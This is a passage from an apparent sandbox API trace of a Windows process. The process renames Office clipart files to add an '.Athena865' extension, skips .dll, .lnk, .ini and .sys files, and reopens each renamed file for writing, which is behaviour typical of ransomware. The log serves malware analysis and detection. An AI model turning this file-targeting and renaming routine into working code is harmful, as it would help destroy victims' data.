lpString2=".sys") returned 1 [0127.473] lstrlenW (lpString="J0198102.WMF") returned 12 [0127.474] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.Athena865") returned 73 [0127.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.athena865"), dwFlags=0x1) returned 1 [0127.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.475] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=54964) returned 1 [0127.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.482] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198113.WMF" | out: lpString1="J0198113.WMF") returned="J0198113.WMF" [0127.482] lstrlenW (lpString="J0198113.WMF") returned 12 [0127.482] lstrlenW (lpString="Athena865") returned 9 [0127.482] lstrcmpiW (lpString1="98113.WMF", lpString2="Athena865") returned -1 [0127.482] lstrlenW (lpString=".dll") returned 4 [0127.482] lstrcmpiW (lpString1="J0198113.WMF", lpString2=".dll") returned 1 [0127.482] lstrlenW (lpString=".lnk") returned 4 [0127.482] lstrcmpiW (lpString1="J0198113.WMF", lpString2=".lnk") returned 1 [0127.482] lstrlenW (lpString=".ini") returned 4 [0127.482] lstrcmpiW (lpString1="J0198113.WMF", lpString2=".ini") returned 1 [0127.482] lstrlenW (lpString=".sys") returned 4 [0127.482] lstrcmpiW (lpString1="J0198113.WMF", lpString2=".sys") returned 1 [0127.482] lstrlenW (lpString="J0198113.WMF") returned 12 [0127.482] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.Athena865") returned 73 [0127.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.athena865"), dwFlags=0x1) returned 1 [0127.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.484] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42272) returned 1 [0127.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.489] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198226.WMF" | out: lpString1="J0198226.WMF") returned="J0198226.WMF" [0127.489] lstrlenW (lpString="J0198226.WMF") returned 12 [0127.489] lstrlenW (lpString="Athena865") returned 9 [0127.489] lstrcmpiW (lpString1="98226.WMF", lpString2="Athena865") returned -1 [0127.489] lstrlenW (lpString=".dll") returned 4 [0127.489] lstrcmpiW (lpString1="J0198226.WMF", lpString2=".dll") returned 1 [0127.489] lstrlenW (lpString=".lnk") returned 4 [0127.489] lstrcmpiW (lpString1="J0198226.WMF", lpString2=".lnk") returned 1 [0127.489] lstrlenW (lpString=".ini") returned 4 [0127.489] lstrcmpiW (lpString1="J0198226.WMF", lpString2=".ini") returned 1 [0127.489] lstrlenW (lpString=".sys") returned 4 [0127.489] lstrcmpiW (lpString1="J0198226.WMF", lpString2=".sys") returned 1 [0127.489] lstrlenW (lpString="J0198226.WMF") returned 12 [0127.489] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.Athena865") returned 73 [0127.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.athena865"), dwFlags=0x1) returned 1 [0127.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.491] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41906) returned 1 [0127.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.495] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198234.WMF" | out: lpString1="J0198234.WMF") returned="J0198234.WMF" [0127.495] lstrlenW (lpString="J0198234.WMF") returned 12 [0127.495] lstrlenW (lpString="Athena865") returned 9 [0127.495] lstrcmpiW (lpString1="98234.WMF", lpString2="Athena865") returned -1 [0127.495] lstrlenW (lpString=".dll") returned 4 [0127.495] lstrcmpiW (lpString1="J0198234.WMF", lpString2=".dll") returned 1 [0127.495] lstrlenW (lpString=".lnk") returned 4 [0127.496] lstrcmpiW (lpString1="J0198234.WMF", lpString2=".lnk") returned 1 [0127.496] lstrlenW (lpString=".ini") returned 4 [0127.496] lstrcmpiW (lpString1="J0198234.WMF", lpString2=".ini") returned 1 [0127.496] lstrlenW (lpString=".sys") returned 4 [0127.496] lstrcmpiW (lpString1="J0198234.WMF", lpString2=".sys") returned 1 [0127.496] lstrlenW (lpString="J0198234.WMF") returned 12 [0127.496] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.Athena865") returned 73 [0127.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.athena865"), dwFlags=0x1) returned 1 [0127.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.497] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42654) returned 1 [0127.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.502] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198372.WMF" | out: lpString1="J0198372.WMF") returned="J0198372.WMF" [0127.502] lstrlenW (lpString="J0198372.WMF") returned 12 [0127.502] lstrlenW (lpString="Athena865") returned 9 [0127.502] lstrcmpiW (lpString1="98372.WMF", lpString2="Athena865") returned -1 [0127.502] lstrlenW (lpString=".dll") returned 4 [0127.502] lstrcmpiW (lpString1="J0198372.WMF", lpString2=".dll") returned 1 [0127.502] lstrlenW (lpString=".lnk") returned 4 [0127.502] lstrcmpiW (lpString1="J0198372.WMF", lpString2=".lnk") returned 1 [0127.502] lstrlenW (lpString=".ini") returned 4 [0127.502] lstrcmpiW (lpString1="J0198372.WMF", lpString2=".ini") returned 1 [0127.502] lstrlenW (lpString=".sys") returned 4 [0127.502] lstrcmpiW (lpString1="J0198372.WMF", lpString2=".sys") returned 1 [0127.502] lstrlenW (lpString="J0198372.WMF") returned 12 [0127.502] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.Athena865") returned 73 [0127.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.athena865"), dwFlags=0x1) returned 1 [0127.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.504] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28572) returned 1 [0127.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.508] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198377.WMF" | out: lpString1="J0198377.WMF") returned="J0198377.WMF" [0127.508] lstrlenW (lpString="J0198377.WMF") returned 12 [0127.508] lstrlenW (lpString="Athena865") returned 9 [0127.508] lstrcmpiW (lpString1="98377.WMF", lpString2="Athena865") returned -1 [0127.508] lstrlenW (lpString=".dll") returned 4 [0127.508] lstrcmpiW (lpString1="J0198377.WMF", lpString2=".dll") returned 1 [0127.508] lstrlenW (lpString=".lnk") returned 4 [0127.508] lstrcmpiW (lpString1="J0198377.WMF", lpString2=".lnk") returned 1 [0127.509] lstrlenW (lpString=".ini") returned 4 [0127.509] lstrcmpiW (lpString1="J0198377.WMF", lpString2=".ini") returned 1 [0127.509] lstrlenW (lpString=".sys") returned 4 [0127.509] lstrcmpiW (lpString1="J0198377.WMF", lpString2=".sys") returned 1 [0127.509] lstrlenW (lpString="J0198377.WMF") returned 12 [0127.509] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.Athena865") returned 73 [0127.509] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.athena865"), dwFlags=0x1) returned 1 [0127.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.511] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40300) returned 1 [0127.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.515] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198447.WMF" | out: lpString1="J0198447.WMF") returned="J0198447.WMF" [0127.515] lstrlenW (lpString="J0198447.WMF") returned 12 [0127.515] lstrlenW (lpString="Athena865") returned 9 [0127.516] lstrcmpiW (lpString1="98447.WMF", lpString2="Athena865") returned -1 [0127.516] lstrlenW (lpString=".dll") returned 4 [0127.516] lstrcmpiW (lpString1="J0198447.WMF", lpString2=".dll") returned 1 [0127.516] lstrlenW (lpString=".lnk") returned 4 [0127.516] lstrcmpiW (lpString1="J0198447.WMF", lpString2=".lnk") returned 1 [0127.516] lstrlenW (lpString=".ini") returned 4 [0127.516] lstrcmpiW (lpString1="J0198447.WMF", lpString2=".ini") returned 1 [0127.516] lstrlenW (lpString=".sys") returned 4 [0127.516] lstrcmpiW (lpString1="J0198447.WMF", lpString2=".sys") returned 1 [0127.516] lstrlenW (lpString="J0198447.WMF") returned 12 [0127.516] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.Athena865") returned 73 [0127.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.athena865"), dwFlags=0x1) returned 1 [0127.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.518] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49676) returned 1 [0127.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.523] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198494.WMF" | out: lpString1="J0198494.WMF") returned="J0198494.WMF" [0127.523] lstrlenW (lpString="J0198494.WMF") returned 12 [0127.523] lstrlenW (lpString="Athena865") returned 9 [0127.523] lstrcmpiW (lpString1="98494.WMF", lpString2="Athena865") returned -1 [0127.523] lstrlenW (lpString=".dll") returned 4 [0127.523] lstrcmpiW (lpString1="J0198494.WMF", lpString2=".dll") returned 1 [0127.523] lstrlenW (lpString=".lnk") returned 4 [0127.523] lstrcmpiW (lpString1="J0198494.WMF", lpString2=".lnk") returned 1 [0127.523] lstrlenW (lpString=".ini") returned 4 [0127.523] lstrcmpiW (lpString1="J0198494.WMF", lpString2=".ini") returned 1 [0127.523] lstrlenW (lpString=".sys") returned 4 [0127.523] lstrcmpiW (lpString1="J0198494.WMF", lpString2=".sys") returned 1 [0127.523] lstrlenW (lpString="J0198494.WMF") returned 12 [0127.523] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.Athena865") returned 73 [0127.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.athena865"), dwFlags=0x1) returned 1 [0127.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.525] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=44552) returned 1 [0127.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.530] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0198712.WMF" | out: lpString1="J0198712.WMF") returned="J0198712.WMF" [0127.530] lstrlenW (lpString="J0198712.WMF") returned 12 [0127.530] lstrlenW (lpString="Athena865") returned 9 [0127.530] lstrcmpiW (lpString1="98712.WMF", lpString2="Athena865") returned -1 [0127.530] lstrlenW (lpString=".dll") returned 4 [0127.530] lstrcmpiW (lpString1="J0198712.WMF", lpString2=".dll") returned 1 [0127.530] lstrlenW (lpString=".lnk") returned 4 [0127.530] lstrcmpiW (lpString1="J0198712.WMF", lpString2=".lnk") returned 1 [0127.530] lstrlenW (lpString=".ini") returned 4 [0127.530] lstrcmpiW (lpString1="J0198712.WMF", lpString2=".ini") returned 1 [0127.530] lstrlenW (lpString=".sys") returned 4 [0127.530] lstrcmpiW (lpString1="J0198712.WMF", lpString2=".sys") returned 1 [0127.530] lstrlenW (lpString="J0198712.WMF") returned 12 [0127.530] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.Athena865") returned 73 [0127.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.athena865"), dwFlags=0x1) returned 1 [0127.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.532] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=57722) returned 1 [0127.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.537] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0199279.WMF" | out: lpString1="J0199279.WMF") returned="J0199279.WMF" [0127.537] lstrlenW (lpString="J0199279.WMF") returned 12 [0127.537] lstrlenW (lpString="Athena865") returned 9 [0127.538] lstrcmpiW (lpString1="99279.WMF", lpString2="Athena865") returned -1 [0127.538] lstrlenW (lpString=".dll") returned 4 [0127.538] lstrcmpiW (lpString1="J0199279.WMF", lpString2=".dll") returned 1 [0127.538] lstrlenW (lpString=".lnk") returned 4 [0127.538] lstrcmpiW (lpString1="J0199279.WMF", lpString2=".lnk") returned 1 [0127.538] lstrlenW (lpString=".ini") returned 4 [0127.538] lstrcmpiW (lpString1="J0199279.WMF", lpString2=".ini") returned 1 [0127.538] lstrlenW (lpString=".sys") returned 4 [0127.538] lstrcmpiW (lpString1="J0199279.WMF", lpString2=".sys") returned 1 [0127.538] lstrlenW (lpString="J0199279.WMF") returned 12 [0127.538] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.Athena865") returned 73 [0127.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.athena865"), dwFlags=0x1) returned 1 [0127.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.539] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29006) returned 1 [0127.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.543] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0199303.WMF" | out: lpString1="J0199303.WMF") returned="J0199303.WMF" [0127.543] lstrlenW (lpString="J0199303.WMF") returned 12 [0127.543] lstrlenW (lpString="Athena865") returned 9 [0127.543] lstrcmpiW (lpString1="99303.WMF", lpString2="Athena865") returned -1 [0127.543] lstrlenW (lpString=".dll") returned 4 [0127.543] lstrcmpiW (lpString1="J0199303.WMF", lpString2=".dll") returned 1 [0127.543] lstrlenW (lpString=".lnk") returned 4 [0127.543] lstrcmpiW (lpString1="J0199303.WMF", lpString2=".lnk") returned 1 [0127.543] lstrlenW (lpString=".ini") returned 4 [0127.543] lstrcmpiW (lpString1="J0199303.WMF", lpString2=".ini") returned 1 [0127.543] lstrlenW (lpString=".sys") returned 4 [0127.543] lstrcmpiW (lpString1="J0199303.WMF", lpString2=".sys") returned 1 [0127.544] lstrlenW (lpString="J0199303.WMF") returned 12 [0127.544] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.Athena865") returned 73 [0127.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.athena865"), dwFlags=0x1) returned 1 [0127.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.546] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31822) returned 1 [0127.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.550] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0199307.WMF" | out: lpString1="J0199307.WMF") returned="J0199307.WMF" [0127.550] lstrlenW (lpString="J0199307.WMF") returned 12 [0127.550] lstrlenW (lpString="Athena865") returned 9 [0127.550] lstrcmpiW (lpString1="99307.WMF", lpString2="Athena865") returned -1 [0127.550] lstrlenW (lpString=".dll") returned 4 [0127.550] lstrcmpiW (lpString1="J0199307.WMF", lpString2=".dll") returned 1 [0127.550] lstrlenW (lpString=".lnk") returned 4 [0127.550] lstrcmpiW (lpString1="J0199307.WMF", lpString2=".lnk") returned 1 [0127.550] lstrlenW (lpString=".ini") returned 4 [0127.550] lstrcmpiW (lpString1="J0199307.WMF", lpString2=".ini") returned 1 [0127.550] lstrlenW (lpString=".sys") returned 4 [0127.550] lstrcmpiW (lpString1="J0199307.WMF", lpString2=".sys") returned 1 [0127.550] lstrlenW (lpString="J0199307.WMF") returned 12 [0127.550] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.Athena865") returned 73 [0127.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.athena865"), dwFlags=0x1) returned 1 [0127.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.552] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50046) returned 1 [0127.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.557] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0199423.WMF" | out: lpString1="J0199423.WMF") returned="J0199423.WMF" [0127.557] lstrlenW (lpString="J0199423.WMF") returned 12 [0127.557] lstrlenW (lpString="Athena865") returned 9 [0127.557] lstrcmpiW (lpString1="99423.WMF", lpString2="Athena865") returned -1 [0127.557] lstrlenW (lpString=".dll") returned 4 [0127.557] lstrcmpiW (lpString1="J0199423.WMF", lpString2=".dll") returned 1 [0127.557] lstrlenW (lpString=".lnk") returned 4 [0127.557] lstrcmpiW (lpString1="J0199423.WMF", lpString2=".lnk") returned 1 [0127.557] lstrlenW (lpString=".ini") returned 4 [0127.557] lstrcmpiW (lpString1="J0199423.WMF", lpString2=".ini") returned 1 [0127.557] lstrlenW (lpString=".sys") returned 4 [0127.557] lstrcmpiW (lpString1="J0199423.WMF", lpString2=".sys") returned 1 [0127.557] 